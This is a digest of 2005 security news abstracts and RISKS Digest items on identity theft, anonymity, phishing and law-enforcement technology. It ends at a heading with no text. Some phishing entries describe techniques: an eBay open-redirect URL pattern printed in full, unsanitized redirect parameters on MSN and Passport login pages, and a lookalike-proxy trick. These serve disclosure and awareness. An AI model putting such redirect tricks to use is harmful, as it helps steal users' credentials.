2005-05-20 **identity ID theft personal information disclosure LexisNexis FBI US Secret Service**

EDUPAGE; <http://online.wsj.com/article/0,,SB111653162281238311,00.html>

FEDS CONDUCT SEARCHES RELATED TO DATA THEFTS

Federal authorities investigating the theft of personal information from LexisNexis this week conducted raids and searches at several locations around the country. LexisNexis, which collects and aggregates information on millions of people, recently reported that information on nearly 300,000 individuals had been stolen by hackers. Investigators from the Federal Bureau of Investigation and the Secret Service searched the homes and computers of close to one dozen people, resulting in at least three arrests. Spokespersons for the agencies conducting the raids as well as for LexisNexis declined to give many details other than that the investigations are ongoing. Wall Street Journal, 20 May 2005 (sub. req'd)

Category 1C2 Identity theft

2005-05-29 **identity ID theft education program Department of Education DVD thief interview**

EDUPAGE; <http://www.nytimes.com/2005/05/30/national/30fraud.html>

COLLEGES LEARN ABOUT IDENTITY THEFT FROM AN IDENTITY THIEF

As part of its efforts to increase awareness about student loan fraud, the Department of Education is distributing a DVD to colleges and universities of an interview with a convicted identity thief. As part of his plea agreement, John E. Christensen was interviewed by authorities to create the DVD, in which he describes how, over a period of three and a half years, he used the identities of more than 50 individuals to defraud the government of more than \$300,000 in federal student grants and loans. Each year, the Department of Education disburses about \$65 billion in financial aid. In the interview, Christensen, who is serving his prison sentence in Arizona, explains how he fraudulently obtained personal information and used it to register for classes and apply for financial aid. Because financial aid processes take place largely online, defrauding the government is "becoming easier and easier all the time," said Christensen. "You never have to see anybody." New York Times, 29 May 2005 (registration req'd)

Category 1C2 Identity theft

2005-06-13 **identity ID theft Liberty Alliance Protection Group fraud**

EDUPAGE; http://news.com.com/2100-7348_3-5744641.html

LIBERTY ALLIANCE ADDRESSES ID THEFT

The Liberty Alliance has announced the formation of an Identity Theft Protection Group, intended to address the problem of identity theft. The alliance was created in 2001 to establish standards for online authentication and now has a membership of more than 150 companies, nonprofits, and government organizations. Michael Barrett, co-chairman of the new group and a security executive at American Express, said he believes the problem of identity theft will continue to worsen such that "it is no longer a question if your identity gets stolen, but when." The new group will initially work to clearly define the problem and its parameters and later will try to develop solutions, which, according to Barrett, might include technical specifications, best practices, or business guidelines. James Van Dyke of Javelin Strategy and Research, which covers identity fraud, noted that despite perceptions otherwise, the incidence of identity theft has been decreasing over the past few years. CNET, 13 June 2005

Category 1C2

Identity theft

2005-08-12

identity ID theft personal information disclosure notification law New York

EDUPAGE;

http://www.theregister.com/2005/08/12/ny_security_breaches_disclosure/

NEW YORK ADDS DISCLOSURE LAW

New York State has enacted a law requiring corporate or public organizations to notify individuals in the event that personal information about them has been compromised. Similar in concept to a California law that went into effect two years ago, the New York law compels organizations that store sensitive information to contact consumers as quickly as is practical if there is evidence or suspicion that data including Social Security numbers or credit card numbers have been unlawfully accessed. At least 15 other states have passed similar legislation since California did. New York State Assembly member James Brennan, sponsor of the legislation, said, "If a person is not aware that he or she has been a victim of identity theft, then the damage done could be severe and irreversible," noting that the sooner people are made aware of security breaches involving sensitive data, the better their chances are of avoiding the worst repercussions. The Register, 12 August 2005

Category 1C2

Identity theft

2005-08-26

cyber scam fraud identity ID theft security firms FBI Sunbelt Software keylogging virus dissemination

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4186972.stm>

CYBERSCAM CONTINUES APACE

A recently discovered identity-theft scam continues to cause problems for Internet users, despite efforts by security firms and the FBI to stop it. Security firm Sunbelt Software uncovered the scam accidentally while investigating spyware. Sunbelt located an Internet server whose log files contained personal information harvested by keylogging from many thousands of users. The company notified the FBI, and the server was shut down soon afterwards, only to resurface later. Each time the servers are taken down, more of them appear elsewhere. The keylogging software, which is circulated by a computer virus, captures private information from users and transmits it to one of the rogue servers.

The FBI is working to find out who is operating the servers. In the meantime, Sunbelt has developed a tool that searches for the malicious software, which is has named Srv.SSA-KeyLogger. BBC, 26 August 2005

Category 1C2

Identity theft

2005-09-24

computer breach lawsuit no disclosure identity theft ID credit card companies

EDUPAGE; http://www.theregister.com/2005/09/24/data_id_theft_secret/

CALIFORNIA JUDGE RULES AGAINST DISCLOSURE

A California judge has ruled against plaintiffs who had accused CardSystems Solutions, Visa, and MasterCard of failing to notify them as required by state law following a computer breach that exposed the personal information of 40 million individuals. The breach happened in June, and, according to CardSystems Solutions, records on approximately 200,000 individuals were taken from the network. California law requires notification in most such cases, and a law firm in the state had brought a class action suit against the companies, which had refused to pursue notifications. The suit sought to compel the companies to notify all affected consumers and to cover any fees or other expenses incurred as a result of ID theft stemming from the incident. Judge Richard Kramer found for the defendants, however, saying he failed to see the emergency. "I don't think there is an immediate threat of irreparable injury" to consumers, he said. The Register, 24 September 2005

Category 1C2

Identity theft

2005-11-17

identity theft Secret Service sting Operation Firewall fraud guilty plea

EDUPAGE; <http://www.wired.com/news/infostructure/0,1377,69616,00.html>

FEDS WIN GUILTY PLEAS IN ID THEFT RACKET

Six individuals caught in a Secret Service sting called Operation Firewall pleaded guilty to conspiracy to commit credit and bank card fraud and ID document fraud. Two other individuals involved in the scam previously pleaded guilty to the same charge. All were among 19 who were indicted last year, charged with running a private-access Web site where people from around the globe bought and sold sensitive information, such as Social Security numbers, credit card numbers, and fake IDs. The ID theft ring is thought to have trafficked in more than 1.5 million credit card numbers, close to 18 million e-mail accounts, and other information that was used to buy and sell merchandise online. One who pleaded guilty, Wesley Lanning, specialized in making and selling fake IDs. His attorney, Marc Leibman, said that although Lanning sold most of the IDs to teens to use to buy beer, "obviously everyone is concerned that some...militant is going to get one of Wesley Lanning's fake IDs and use it to transport a bomb." Wired News, 17 November 2005

Category 1C2

Identity theft

2005-12-07

study identity theft risk exaggerated ID Analytics fraud detection

EDUPAGE; http://money.cnn.com/2005/12/07/technology/id_study.reut/

STUDY SAYS RISK OF ID THEFT EXAGGERATED

A new study conducted by California-based fraud detection company ID Analytics found that the risk of identity theft may not be as high as many believe it to be. The company analyzed data concerning four incidents in which sensitive information for roughly 500,000 people was compromised. ID Analytics followed the data for six months and found that the risk of having your identity stolen based on compromised information is relatively small. Further, the study showed that the greater the number of people affected in a breach, the lower the chances were that anyone would have their identity stolen. The company went on to say that efforts to notify every individual affected when sensitive information is illegally accessed might be doing more harm than good. Rather than notify everyone, according to ID Analytics, a company should spend its time and money helping consumers who are actually affected by a data breach. CNN, 7 December 2005

1C4 Anonymity

Category 1C4

Anonymity

2005-10-06

logger Delaware lawsuit shield identity First Amendment free speech anonymity cyberspace

EDUPAGE; <http://www.nytimes.com/2005/10/06/technology/06blog.html>

DELAWARE COURT SHIELDS IDENTITY OF BLOGGER

The Delaware Supreme Court has rejected an effort to identify an anonymous blogger accused of defamatory remarks online. Patrick Cahill, a councilman in the city of Smyrna, had sought the blogger's identity from Comcast following several unflattering postings on the person's blog. Although a lower court judge had denied the blogger's request for protection, the Supreme Court said that court had applied the wrong standard. In the absence of substantial evidence of defamation, Cahill's petition to identify the blogger will be denied, according to the high court. In the ruling, the court said it found for the blogger to protect against what it called "the chilling effect on anonymous First Amendment Internet speech that can arise when plaintiffs bring trivial defamation lawsuits primarily to harass or unmask their critics." An attorney for the blogger said that statements on electronic bulletin boards and blogs are not generally considered factual but are seen as individuals' opinions. The court's judgment, however, did not identify the medium as pertinent in its application of legal standard. New York Times, 6 October 2005 (registration req'd)

Category 1C4

Anonymity

2005-12-11

GAO government accountability office bad WHOIS database anonymity spamming scamming phishing privacy

RISKS; <http://www.internetnews.com/ent-news/article.php/3569521>

24

12

WHOIS DATABASE RISKS

A U.S. Government Accountability Office (GAO) report in Nov 2005 says that there are roughly 2,310,000 Web addresses for which the owner or contact information is unknown. That represents 5% of all .com, .net, and .org domain names. This provides anonymity for spammers, scammers, phishers, and other illegal activities, and untraceability for malware-containing sites.

[Abstract by Peter G. Neumann]

Dag-Erling Smørgrav rebuts (RISKS-24.13):

It also provides relative anonymity for people like paralegal Pamela Jones, who operates groklaw.net, an award-winning web site dedicated to reporting on and analyzing "legal events important to the [Free and Open Source Software] community". Her relentless digging into the SCO lawsuits has made her the target of harassment and defamation by SCO and its supporters, such as journalist Maureen O'Gara -- ask Google for the sordid details.

Also in RISKS-24.13, Dave Bell remarks:

I just hope that the GAO knows the difference between "unknown" and "withheld". My domain name is registered in the UK, and because of UK and European data protection laws applying to personal data, the WHOIS doesn't return certain information.

[Summary by Karthik Raman]

<i>Category 1C4</i>	<i>Anonymity</i>		
2005-12-11	anonymity defamation libel risk threat Wikipedia free online encyclopedia		
RISKS		24	12

ANONYMITY AND BAD WIKIPEDIA CONTENT

John Seigenthaler Sr. (a former editor of *The Tennessean* in Nashville, and founder of the First Amendment Center) was startled to find an entry on himself in Wikipedia that included defamatory false personal information about him -- for example, suggesting that Mr. Seigenthaler had been involved in the assassinations of John and Robert Kennedy. Mr. Seigenthaler then wrote an op-ed article in *USA Today*, noting among other things that he was especially annoyed that he could not track down the perpetrator because of Internet privacy laws.

The culprit's IP address led to his employer by Daniel Brandt of San Antonio -- who has been a frequent critic of Wikipedia after reading false information about himself! See his www.wikipedia-watch.org.

This led Brian Chase in Nashville to admit having written the offensive material as a joke, stating that he thought that Wikipedia was a "gag" Web site.

[Abstract by Peter G. Neumann]

Dr Neumann adds:

Coincidentally, that story broke on about the same day that the December 2005 issue of the *Communications of the ACM* came out, the inside back cover Inside Risks column of which is "Wikipedia Risks"

<http://www.csl.sri.com/neumann/insiderisks05.html> -- written by four long-time RISKS contributors, Peter Denning, Jim Horning, David Parnas, and Lauren Weinstein who are on my ACM Committee on Computers and Public Policy. This case points up just one of the risks associated with Wikipedia noted in the Inside Risks article, namely that of having an encyclopedia contributed by thousands of volunteers, with few controls on content.

RISKS contributor Ian Halliday follows up (RISKS-24.13) by saying he does not buy Brian Chase's argument:

The claim that "he thought Wikipedia was a gag site" (RISKS-24.12) seems unlikely, and I see it on a par with those who say "no, I was just doing research" when caught hacking/visiting dubious web sites. Yet this seems to have caught the attention of some parts of the media who don't usually see visiting those sites as plausible research. The suggestion is that it is reasonable for somebody to be so mistaken as to think Wikipedia is a "gag" site. While some of the information there may not be 100% accurate, it's hard to see how this apparently mistaken view can be seen as a genuine defence.

[Summary by Karthik Raman]

1C5 Phishing

<i>Category</i>	<i>1C5</i>	<i>Phishing</i>		
2005-01-18		phishing policy e-mail URL link authenticity		
RISKS			23	68
A REAL PHISHING PAL				

Tim Huckvale contributed this observation about the gap between security advice and performance:

I just received an e-mail from PayPal warning me that my credit card was about to expire. Naturally my first thought was that it was a phishing trip, but closer inspection showed it to be genuine.

It ended with the following warning:

PROTECT YOUR PASSWORD

NEVER give your password to anyone and ONLY log in at
<https://www.paypal.com/>. Protect yourself against fraudulent websites
by opening a new web browser (e.g. Internet Explorer or Netscape) and
typing in the PayPal URL every time you log in to your account.

Typing in the URL is excellent advice. Such a shame that they defeated it by making the link clickable.

<i>Category</i>	<i>1C5</i>	<i>Phishing</i>		
2005-02-01		phishing authentication digital signatures e-mail Web URL		
RISKS			23	69

LOOKS LIKE A PHISH, SMELLS LIKE A PHISH....

John Pettitt wonders in RISKS why institutions are failing to use digital signatures on what otherwise look like phishing scams:

I just got this in my e-mail.

>Dear Cardmember,

Your 2004 Year-End Summary is now ready to view online. To access your Year-End Summary, please log in to
[<http://americanexpress.com/yearendsummary2004](http://americanexpress.com/yearendsummary2004)
<[With the online version you can view charges by merchant name, date, or charge amount; view your spending, spending of an Additional Card, or everything at once; and print and save your Year-End Summary for future use. As a *new* feature this year, you can also use business and personal check boxes to sort your annual transactions.](http://www65.americanexpress.com/clicktrk/Tracking?mid=IUYES03020050201053636024433&msrc=ENG-YES&url=https://www124.americanexpress.com/cards/yes/yes_home.jsp?campaignid=Jan_email_05>.</p></div><div data-bbox=)

We look forward to serving you.<

As far as I can tell it's real - the sites it links to have certificates that are issued to Amex. However there is no way to tell without clicking the link and checking the certificate (something I teach my users not to do) that the mail really came from Amex. Even the message headers show it originating from aexp.com which sounds close but then so do the best phishing scams.

Given that a large percentage of the world now uses s/mime capable mailers (Outlook, Outlook express, Thunderbird, Mozilla, etc.), why is it that institutions are still sending unsigned e-mail?

<i>Category 1C5</i>	<i>Phishing</i>
2005-02-02	phishing Harry Potter books Rowling scam fraud electronic copies intellectual property copyright organized crime

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A56379-2005Feb2.html>

J.K. ROWLING DENOUNCES INTERNET FRAUDSTERS

J.K. Rowling, author of the mega-popular Harry Potter series, is warning fans to beware of Internet "phishing" scams claiming to sell electronic copies of her latest book, "Harry Potter and the Half-Blood Prince." "The only genuine copies of Harry Potter remain the authorized traditional book or audio tapes/CDs distributed through my publishers," says Rowling, and her copyright lawyer, Neil Blair, notes that Rowling has never granted licenses for electronic versions of her books. "Please, please protect yourselves, your computers and your credit cards and do not fall for these scams," says Rowling. Police say they suspect organized crime gangs in Eastern Europe are behind the fraudulent e-mail offers. (Reuters/Washington Post 2 Feb 2005)

<i>Category 1C5</i>	<i>Phishing</i>
2005-02-15	phishing redirection URL identity theft eBay trick subterfuge

RISKS 23 73

EBAY REDIRECTS TO PHISHERS FROM THEIR OWN SITE

Pete Krawczyk found another exploit that might fool naïve users of eBay. He wrote:

>eBay fraudsters have a new trick up their sleeve: using eBay's servers to link to a fraudulent web site.

In the past, it was easy to pass a URL through a decoder and find that the actual server hosted behind a URL was not owned by eBay, since phishers would use @, %40, or other domain misdirection tactics. However, I recently received an eBay fraud mail that contained the following URL, which has been edited to point to Google:

<http://cgi4.ebay.com/ws/eBayISAPI.dll?MfcISAPICommand=RedirectToDomain&DomainUrl=http://www.google.com/>

As you can see, that URL will access cgi4.ebay.com, and eBay will gladly hand the browser over to Google for further action. That URL can be trivially changed to any web site.

The RISK is obvious: allowing untrusted URL redirects in this case will fool many more people who may now believe that eBay is truly asking for account details, and may lead to further identity theft.<

<i>Category 1C5</i>	<i>Phishing</i>
2005-03-10	phishing fraud criminals Web redirection China proxy server hijacking session

RISKS 23 78

WEBSITE HIJACKINGS, 302 REDIRECTS, AND SECURITY ISSUES

Tim Chmielewski wrote:

I have been reading about the problems with the 1bu.com site on the forum Webmaster World and decided to try it myself.

Basically what it is that if you type in any site with the format:

<http://www.sitename.com.1bu.com>

you will get redirected to another site (actually a proxy server in China) that looks exactly like your site, but none of your pages that use scripting will work.

Using the same technique other sites could hijack banking or online shopping sites and redirect input so they collect your credit card and other information.

While this has been a popular topic of discussion in the webmaster forums, Google itself is silent on the issue.

Category 1C5 *Phishing*

2005-03-31

Microsoft lawsuits John Doe phishing scams

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=8051350>

LAWSUITS TARGET PHISHERS

Microsoft has filed 117 "John Doe" lawsuits against operators of Web sites involved in phishing scams. Phishers send e-mail messages that purport to be from a bank or other financial services institution. The e-mails tell recipients that they must visit a Web site and disclose personal information, typically under the pretense of updating account records or something similar. Disclosed information is then used for credit card fraud and other types of identity theft. Microsoft said it was filing the lawsuits in an effort to discover who is behind the largest phishing operations and put them out of business. Microsoft's Aaron Kornblum said, "We must work together to stop these con artists from misusing the Internet as a tool for fraud." Reuters, 31 March 2005

Category 1C5 *Phishing*

2005-06-29

phishing phishers prison sentence UK Britain personal information stolen money trafficking FBI Hi-Tech Crime Unit US Secret Service

EDUPAGE; http://news.com.com/2100-7348_3-5766860.html

PHISHERS LOCKED UP

Two men have been sentenced to prison in Britain for orchestrating a phishing scheme that used stolen identities to pilfer as much as 6.5 million pounds over two years. Douglas Harvard and Lee Elwood were sentenced to six and four years respectively for their parts in the phishing ring, which authorities said garnered at least 750,000 pounds during one 10-month period. The men allegedly worked with individuals in Russia to traffic in personal information and the money stolen using that information. Mick Deat, deputy head of Britain's National Hi-Tech Crime Unit, issued a statement thanking the U.S. Secret Service and the FBI for their assistance in the investigation. The statement also expressed Deat's hope that the convictions will discourage others who might consider such scams. CNET, 29 June 2005

Category 1C5 *Phishing*

2005-07-01

Phishing MSN Input sanitized URL passport

DHS IAIP Daily; <http://www.zone-h.org/advisories/read/id=7764>

PHISHING PROBLEMS ON MSN

Multiple phishing problems exist on support.msn.com, permitting to a possible attacker to conduct phishing attack against a user. 1) Input passed to the "ru" parameter in "pplogin.aspx" isn't properly sanitized before being returned to the user. 2) Input passed to the 'mspplogin' parameter isn't properly sanitised, and by using specially crafted URL an attacker can cause the user to be redirected to an arbitrary URL for the passport authentication. Another phishing problem exists on login.passport.net. The problem is caused due to input passed to the "ru" in "uiologout.srf" isn't properly sanitised. By using specially crafted URL an attacker can cause the user to be redirected to an arbitrary URL for the passport authentication.

Category 1C5 *Phishing*

2005-07-25

anti-phishing software password scrambling hiding Stanford University

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/12218576.htm>

SOFTWARE HIDES PASSWORDS FROM PHISHERS

Two professors at Stanford University are set to unveil software designed to foil phishers by scrambling passwords entered into Web sites. John Mitchell and Dan Boneh developed the software, called PwdHash, to deal with the growing problem of Web sites that lure computer users into disclosing personal information. The software creates a unique password for each Web site a user visits. If the user goes to a bogus version of a legitimate Web site, the software creates a separate password, leaving the operator of the bogus site with a password that will not work at the real site. Previously, the pair of professors have written software that tries to identify fraudulent Web sites and notifies the user when such a site is suspected. San Jose Mercury News, 25 July 2005

Category 1C5

Phishing

2005-09-26

phishers phishing Yahoo! Photos target fake sign-in

DHS IAIP Daily; <http://www.snpix.com/cgi-bin/news55.cgi?target=110977854?2622>

PHISHERS TARGET YAHOO! PHOTOS

Phishing attacker are attempting to capture a user's Yahoo! ID and password by sending out fake sign-in pages. Users are receiving an email or instant message that claims to be from a friend wanting to show off photos. The message contains a link to a phishing site, which records the user's Yahoo! ID and password, and then forwards the Yahoo! ID and password on to the real Yahoo! Photos site.

Category 1C5

Phishing

2005-09-26

phishing fraud data leakage surveillance password userID capture Web site social engineering

Computerworld

YAPS (YET ANOTHER PHISHING SCAM): YAHOO!

Criminals fielded yet another phishing scam in late September 2005 in which they tricked people into visiting fake Yahoo Web sites to capture login information but forwarded the session to a real part of the Yahoo portal. The phishing site was located in a Geocities section of Yahoo, making it more difficult to detect the fraud through inspection of the URLs involved.

Category 1C5

Phishing

2005-10-03

phishing Anti-Phishing Act 2005 scam fraud California law

EDUPAGE;

<http://informationweek.com/story/showArticle.jhtml?articleID=17120267>

CALIFORNIA PASSES ANTI-PHISHING LAW

A tough new anti-phishing law makes California the first state to pass legislation targeting that particular brand of online scam. The Anti-Phishing Act of 2005 makes it a crime to use "the Internet or other electronic means, to solicit, request, or take any action to induce another person to provide identifying information by representing itself to be a business without the approval or authority of the business." Identifying information includes Social Security numbers, credit card numbers, passwords, PINs, and other information that can be used to steal from individuals. Those found guilty of phishing are subject to fines of \$2,500 per violation, as well as damages to victims of either actual losses or \$500,000, whichever is greater. InformationWeek, 3 October 2005

Category 1C5

Phishing

2005-11-29

fraud scam identity theft phishing anti-phishing DHS SRI report

RISKS; <http://www.anti-phishing.org/Phishing-dhs-report.pdf>

;

11

DHS ANTI-PHISHING REPORT

Online identity theft, a.k.a. "phishing," refers to attacks that exploit a wide variety of RISKS, using both technology and social engineering, to illicitly obtain and profit from confidential information. A new report on online identity theft, sponsored by the US Department of Homeland Security and SRI International, provides a holistic treatment of the subject. The report discusses technologies used by phishers, breaks down the flow of information in a phishing attack, identifies chokepoints at which an attack can be thwarted, and discusses technical countermeasures that can be applied at each chokepoint. While technology alone cannot solve the phishing problem, substantial opportunities to mitigate the losses are identified. The report is titled "Online Identity Theft: Phishing Technology, Chokepoints and Countermeasures."

[Summary from Aaron Emigh]

1D1 Organizations, cooperation for law enforcement

Category 1D1 Organizations, cooperation for law enforcement

2005-01-27

web site child abuse UK US Australia Interpol partnership

NewsScan; http://www.usatoday.com/tech/news/techpolicy/2005-01-27-child-abuse-site_x.htm

WEB SITE TO FIGHT CHILD ABUSE

A new Web site has been created by the U.K.'s National Crime Squad (NCS) in collaboration with the technology industry and with agencies in the U.S., Canada, and Australia, and Interpol, to provide information to help and support victims of abuse. Jim Gamble of the NCS explains: "Child abuse is one of the worst crimes to affect today's society and we in the UK must break away from thinking that we can tackle this issue within our own borders. Internet users access a worldwide service and we must tackle abuse from a worldwide perspective. That is why strategic partnerships with partners across the globe are so vital to the success of this initiative. Police across the world must work as one on this." (Federal Computer Week/USA Today 27 Jan 2005)

Category 1D1 Organizations, cooperation for law enforcement

2005-07-01

music movie TV software piracy international US raids FBI warez

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4640439.stm>

U.S. LEADS INTERNATIONAL PIRACY RAIDS

Authorities in 11 countries, led by the FBI, conducted raids on the operators of Internet operations suspected of pirating movies, software, and computer games. The raids, which were conducted in the United States, Canada, Israel, France, Belgium, Britain, Denmark, the Netherlands, Germany, Portugal, and Australia, led to the arrests of seven individuals, the seizure of \$50 million worth of pirated material, and the shutting down of eight servers used to distribute the copyrighted works. According to U.S. Attorney General Alberto Gonzales, the raids also identified more than 120 other individuals allegedly involved in Internet piracy. Targeted in the raids were 14 so-called "warez" groups, which are the source for possibly as much as 95 percent of copyrighted material that is available online. Because operators of warez groups traditionally employ extensive measures to mask their identities and hide what they are doing, the groups have proven especially difficult for authorities to penetrate. Those arrested could face fines and jail terms, including up to 10 years in prison for distributing content prior to its commercial release. BBC, 1 July 2005

1D2 Technology for law enforcement

Category 1D2

Technology for law enforcement

2005-01-13

FBI failure virtual case file information sharing homeland security quality assurance features SAIC debacle fiasco

NewsScan; <http://www.latimes.com/technology/la-na-fbi13jan13>

SECURITY IV: NEW FBI SOFTWARE NOT USABLE

A new FBI computer system called Virtual Case File, designed to help agents share information to ward off terrorist attacks, may have to be discarded because it doesn't work as designed. The agency will be soliciting proposals for new software from outside contractors for new software. Sen. Judd Gregg (R-N.H.), chairman of the Senate appropriations subcommittee, calls the development "a stunning reversal of progress" and adds: "If the software has failed, that sets us back a long way. This has been a fits-and-starts exercise, and a very expensive one for a very long time. There are very serious questions about whether the FBI is able to keep up with the expanding responsibility and the amount of new dollars that are flowing into it. We have fully funded it at its requested levels." Science Applications, the company that developed the system, says it "successfully completed" delivery of the initial version of the Virtual Case File software last month. (Los Angeles Times 13 Jan 2005)

Category 1D2

Technology for law enforcement

2005-01-14

GPS law legal tracking privacy

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A10788-2005Jan14.html>

GPS EVERYWHERE

The rules about the use of GPS devices are widely varied: whereas a federal judge in New York has ruled that police have a right to place tracking devices on vehicles without a warrant (since the drivers should have no expectation of privacy on public roads), California has restricted car rental companies' use of GPS to track customers (a law adopted after a company fined customers \$3,000 because their GPS system indicated the cars had crossed the state line into Nevada in violation of the rental agreement). But the fact is that GPS is here to stay: David Gilmore, the court-appointed transportation administrator for D.C. Public Schools, says of the use of GPS to monitor school bus drivers in that jurisdiction: "As uncomfortable as this might make them, they are now being watched by satellite every minute of their workday, like it or not." (Washington Post 14 Jan 2005)

Category 1D2

Technology for law enforcement

2005-01-18

FBI Carnivore eavesdrop

NewsScan; <http://apnews.excite.com/article/20050119/D87MS3CO0.html>

FBI AXES CARNIVORE, EATS INVESTMENT

The FBI has abandoned its custom-built Internet surveillance technology, dubbed Carnivore, and is now using commercial software to eavesdrop on computer network traffic during investigations of suspected criminals, terrorists and spies. In addition, it's asking Internet service providers to conduct wiretaps on targeted customers, when necessary. Carnivore initially was developed because commercial tools available in 2000 were inadequate, but FBI spokesman Paul Bresson says the Bureau moved a while ago to using popular commercial wiretap software because it's less expensive and has improved in its ability to copy e-mails to and from a specific Internet account without affecting other subscribers. "We see the value in the commercially available software; we're using it more now and we're asking the Internet service providers that have the capabilities to collect data in compliance with court orders," says Bresson. The FBI didn't disclose how much it had spent on Carnivore, but outside experts estimate expenditures at somewhere between \$6 million and \$15 million. (AP 18 Jan 2005)

Category 1D2

2005-01-20

Technology for law enforcement

Arabic language linguistics scanning OCR software terrorism antiterrorism information gathering University of Buffalo grant

DHS IAIP Daily; http://www.usatoday.com/tech/products/software/2005-01-20-ar-abic-scans_x.htm

SOFTWARE WOULD SCAN ARABIC DOCUMENTS FOR INFORMATION

Computer scientists are at work on software to scan Arabic documents, even handwritten ones, for specific words or phrases, technology its developers say could aid in intelligence gathering. Researchers at the University of Buffalo have received \$240,000 in funding from the federal Director of Central Intelligence Postdoctoral Research Fellowship Program. Optical character recognition (OCR) software trains the computer to interpret the images of an alphabet based on scanned images of characters or words recorded by humans who have examined the original images. Arabic presents challenges because characters may take different forms depending on where within a word they appear, and Arabic vowels are pronounced but often not written.

Category 1D2

Technology for law enforcement

2005-06-02

DHS national defense terrorism anti-terrorism University of Buffalo browser technology concepts ideas information correlation

EDUPAGE; http://news.com.com/2100-1012_3-5730176.html

UNIVERSITY RESEARCHERS DEVELOPING BROWSER TO FIGHT TERRORISM

Researchers at the University of Buffalo (UB) are developing browser technology that endeavors to identify hidden connections in vast collections of documents. Rather than simply looking for matches to specified query terms, which is what typical search engines do, the UB technology seeks to uncover connections between ideas. According to John McCarthy, professor emeritus of computer science at Stanford University, a tool that successfully links concepts could be an important breakthrough. A number of federal agencies, including the Federal Aviation Administration (FAA), are investing in the research, which they hope can be used to find the sorts of connections that will aid efforts to fight terrorism. The project has been used to search the report from the 9/11 Commission as well as public Web pages, looking for connections regarding the hijackers. The tool searches for concepts such as names, dates, and places and maps the connections it finds, potentially resulting in trails of evidence useful to investigators or other authorities. CNET, 2 June 2005

Category 1D2

Technology for law enforcement

2005-07-04

Air Force ultrawideband Sandia National Laboratories UWB radio encryption network military ultrawideband spectrum

DHS IAIP Daily; <http://www.eetimes.com/news/latest/technology/showArticle.jhtml?articleID=165600118>

U.S. AIR FORCE TAPS SECURE ULTRAWIDEBAND

Sandia National Laboratories has combined ultrawideband (UWB) radio signals with advanced encryption techniques to develop a secure sensor and communications network for the U.S. military. The ultrasecure UWB communication system promises to help the government protect its troops on the battlefield by detecting the position of enemies and by making it much harder for them eavesdrop or jam military communications. "By utilizing the immense spectrum of UWB to spread the energy of communications signals from sensors over a wide frequency spectrum, the signal power falls below the noise floor of normal receivers," said Sandia National Laboratories researcher Timothy Cooley. Also known as "impulse radio," ultrawideband radio transmissions smear a wide spectrum with short, 100-picosecond pulses that are below the noise floor of conventional radio receivers. Even if enemies were equipped with a special UWB receiver, they would be unlikely to know how to reassemble the disparate data packets of each impulse into a coherent whole. And even if they should manage to reassemble the packets, they would still have to crack the 256-bit AES encryption used by Sandia's special secure military communications version. The sensor and communications networks are being developed for the U.S. Air Force Electronic Systems Center.

Category 1D2

Technology for law enforcement

2005-07-10

UK police pictures e-mail records hunt phones video networks'

DHS IAIP Daily; http://www.theregister.co.uk/2005/07/10/london_bomb_

UK POLICE REQUEST PICTURES, E-MAIL, PHONE RECORDS IN BOMBER HUNT

London police have asked the public to turn in pictures from mobile phones and video pictures as they hunt the terrorists behind the bomb attacks on the UK capital Thursday, July 7. The call came as Britain's authorities sought to secure email and mobile phone records as they continue their hunt for the bombers. Much of the media networks' coverage of the bombings came from stills and video captured on camera phones and other mobile devices. London's Metropolitan Police on Sunday asked people who captured images on Thursday, both before and after the bombings, and either in or close to the areas where the bombings happened, to forward them to images@met.police.uk. "These images may contain crucial information which could help detectives in what is a painstaking and complex inquiry," said the head of the Met's Anti-Terrorist Branch, Deputy Assistant Commissioner Peter Clarke.

Category 1D2

Technology for law enforcement

2005-07-22

UK Britain terrorist Website control database

EDUPAGE; http://news.zdnet.com/2100-1009_22-5798787.html

BRITAIN TO TRACK, CONTROL TERRORIST WEB SITES

Following recent terrorist attacks on London's public transit system, the British government announced plans to tighten oversight on people who run Web sites inciting terrorism. In speaking to Parliament on July 20, Home Secretary Charles Clarke acknowledged that the government would have to "tread carefully" around free speech in instituting changes to the national security policies. Clarke said he intends to draw up a list of unacceptable behaviors, such as preaching, running Web sites, or writing articles intended to provoke terrorism. The Foreign and Commonwealth Office and intelligence agencies will be instructed to build a database of people who provoke terrorism. Immigration officers will have access to the database, and the government is planning changes to the law to make it easier to deport religious extremists whose behaviors meet the revised policies. ZDNet, 22 July 2005

Category 1D2

Technology for law enforcement

2005-10-15

software engineering quality assurance QA new system introduction training denial of service DoS interface public relations

RISKS; <http://archiv.tagesspiegel.de/archiv/13.10.2005/2112250.asp> (in German)

24

08

NEW GERMAN REGISTRATION SYSTEM CAUSES CHAOS

...[T]he [German federal] registration offices bought themselves some brand-spanking-new software. All people living in Germany must register their address and the names of people who live with them with this office (which is part of the police jurisdiction) inside of a week of moving into town. The police use the data for all sorts of purposes.

They cut over to the new system October 4, and the police suddenly discovered that they were offline - their systems did not work anymore, probably because the API was different. The police had to set up emergency computers directly linked to the official system and have police officers in the field *call in* their requests. Result: the line is always busy. But of course, there is no threat to the general public, just nasty waiting for the police....

The registration office was pointing the finger at the police, saying they had known for a year that this was coming. Then people called the papers complaining that waiting times at the office - which also issues passports and ID cards and the like - had gone from an hour to FOUR hours.

The official excuse is that clerks were not sufficiently trained in the use of the 23 million Euro software called "Meso". And they insist that the waiting time is "only" doubled, not more. They request the good taxpayers who paid for the software to just stay home and not bother them until they get the kinks worked out - really, one office gave out a press release to just leave them alone!

An added problem is that many people are trying to apply for new passports because from December on people have to pay more for them because they have to have RFID chips with biometric data stored in them so that the US government is appeased and will still let Germans in without visas.....

[Report by Debora Weber-Wulff]

Category 1D2 *Technology for law enforcement*
2005-11-30 **study wiretap telephone wiretapping interception evasion security flaw privacy
government agencies FBI legal ramifications**

DHS IAIP Daily; <http://www.nytimes.com/2005/11/30/national/30tap.html>

SECURITY FLAW ALLOWS WIRETAPS TO BE EVADED, STUDY FINDS

